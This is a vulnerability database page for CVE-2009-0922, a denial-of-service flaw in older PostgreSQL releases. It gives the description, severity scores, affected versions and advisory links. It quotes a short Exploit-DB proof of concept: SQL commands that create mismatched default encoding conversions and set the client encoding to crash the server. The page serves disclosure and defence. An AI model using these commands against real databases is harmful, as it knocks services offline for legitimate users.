CVE-2009-0922 : Detail

CVE-2009-0922

1.95%V3
Network
2009-03-17
16h00 +00:00
2018-10-10
16h57 +00:00
CVE.org
NVD
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CVE Descriptions

PostgreSQL before 8.3.7, 8.2.13, 8.1.17, 8.0.21, and 7.4.25 allows remote authenticated users to cause a denial of service (stack consumption and crash) by triggering a failure in the conversion of a localized error message to a client-specified encoding, as demonstrated using mismatched encoding conversion requests.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4 AV:N/AC:L/Au:S/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 32849

Publication date : 2009-03-10 23h00 +00:00
Author : Afonin Denis
EDB Verified : Yes

source: https://www.securityfocus.com/bid/34090/info PostgreSQL is prone to a remote denial-of-service vulnerability. Exploiting this issue may allow attackers to terminate connections to the PostgreSQL server, denying service to legitimate users. test=# CREATE DEFAULT CONVERSION test1 FOR 'LATIN1' TO 'KOI8' FROM ascii_to_mic; CREATE CONVERSION test=# CREATE DEFAULT CONVERSION test2 FOR 'KOI8' TO 'LATIN1' FROM mic_to_ascii; CREATE CONVERSION test=# set client_encoding to 'LATIN1';

Products Mentioned

Configuraton 0

Postgresql>>Postgresql >> Version 7.4.24

Postgresql>>Postgresql >> Version 8.0.20

Postgresql>>Postgresql >> Version 8.1.16

Postgresql>>Postgresql >> Version 8.2.12

Postgresql>>Postgresql >> Version 8.3.6

References

http://www.securitytracker.com/id?1021860
Tags : vdb-entry, x_refsource_SECTRACK
http://www.redhat.com/support/errata/RHSA-2009-1067.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/34090
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=134124585221119&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.openwall.com/lists/oss-security/2009/03/11/4
Tags : mailing-list, x_refsource_MLIST
http://sunsolve.sun.com/search/document.do?assetkey=1-66-258808-1
Tags : vendor-advisory, x_refsource_SUNALERT
http://secunia.com/advisories/34453
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/0767
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2009:079
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/35100
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/1316
Tags : vdb-entry, x_refsource_VUPEN
http://marc.info/?l=bugtraq&m=134124585221119&w=2
Tags : vendor-advisory, x_refsource_HP